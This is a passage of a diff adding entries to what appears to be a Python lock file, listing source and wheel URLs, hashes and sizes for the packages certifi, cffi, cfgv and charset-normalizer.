+ { url = "https://files.pythonhosted.org/packages/ef/2f/c5464532e965badff2f4c4c1a3a83f5697f0d7c407ed0cda44aaa99bb451/certifi-2026.6.17-py3-none-any.whl", hash = "sha256:2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db", size = 133289, upload-time = "2026-06-17T10:31:06.348Z" },
+]
+
+[[package]]
+name = "cffi"
+version = "2.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pycparser", marker = "implementation_name != 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" },
+ { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" },
+ { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" },
+ { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" },
+ { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" },
+ { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" },
+ { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" },
+ { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" },
+ { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" },
+ { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" },
+ { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" },
+ { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" },
+ { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" },
+ { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" },
+ { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" },
+ { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" },
+ { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" },
+ { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" },
+ { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" },
+ { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" },
+]
+
+[[package]]
+name = "cfgv"
+version = "3.5.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/4e/b5/721b8799b04bf9afe054a3899c6cf4e880fcf8563cc71c15610242490a0c/cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132", size = 7334, upload-time = "2025-11-19T20:55:51.612Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/db/3c/33bac158f8ab7f89b2e59426d5fe2e4f63f7ed25df84c036890172b412b5/cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0", size = 7445, upload-time = "2025-11-19T20:55:50.744Z" },
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.4.7"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" },
+ { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" },
+ { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" },
+ { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" },
+ { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" },
+ { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" },
+ { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" },
+ { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" },
+ { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" },
+ { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" },
+ { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" },
